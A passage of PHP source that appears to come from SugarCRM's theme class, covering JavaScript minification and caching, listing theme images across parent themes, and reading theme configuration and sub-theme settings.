$jsFileName not found"); return false; } // create the cached file location $jsFilePath = create_cache_directory($fullFileName); // minify the js if (!inDeveloperMode()&& !is_file(str_replace('.js', '-min.js', $jsFilePath))) { $jsFileContents = SugarMin::minify($jsFileContents); $jsFilePath = str_replace('.js', '-min.js', $jsFilePath); $fullFileName = str_replace('.js', '-min.js', $fullFileName); } // now write the js to cache sugar_file_put_contents($jsFilePath, $jsFileContents); $this->_jsCache[$jsFileName] = $fullFileName; if ($returnURL) { return getJSPath("cache/".$fullFileName); } return sugar_cached($fullFileName); } /** * Returns an array of all of the images available for the current theme * * @return array */ public function getAllImages() { // first, lets get all the paths of where to look $pathsToSearch = array($this->getImagePath()); $theme = $this; while (isset($theme->parentTheme) && SugarThemeRegistry::get($theme->parentTheme) instanceof SugarTheme) { $theme = SugarThemeRegistry::get($theme->parentTheme); $pathsToSearch[] = $theme->getImagePath(); } $pathsToSearch[] = $this->getDefaultImagePath(); // now build the array $imageArray = array(); foreach ($pathsToSearch as $path) { if (!is_dir($path)) { $path = "custom/$path"; } if (is_dir($path) && is_readable($path) && $dir = opendir($path)) { while (($file = readdir($dir)) !== false) { if ($file == ".." || $file == "." || $file == ".svn" || $file == "CVS" || $file == "Attic" ) { continue; } if (!isset($imageArray[$file])) { $imageArray[$file] = $this->getImageURL($file, false); } } closedir($dir); } } ksort($imageArray); return $imageArray; } /** * Returns an array of all of the config values for the current theme * * @return array */ public function getConfig() { global $sugar_config; $config = array(); foreach ($this->config_options as $name => $def) { $config[$name] = $def; $value = ''; if (isset($sugar_config['theme_settings'][$this->dirName][$name])) { $value = $sugar_config['theme_settings'][$this->dirName][$name]; } elseif (isset($def['default'])) { $value = $def['default']; } $config[$name] = $value; } return $config; } public function getSubThemes() { $subThemes = SugarThemeRegistry::getSubThemes(); return $subThemes; } public function getSubThemeDefault() { $subThemeDefault = SugarThemeRegistry::getSubThemeDefault(); return $subThemeDefault; } }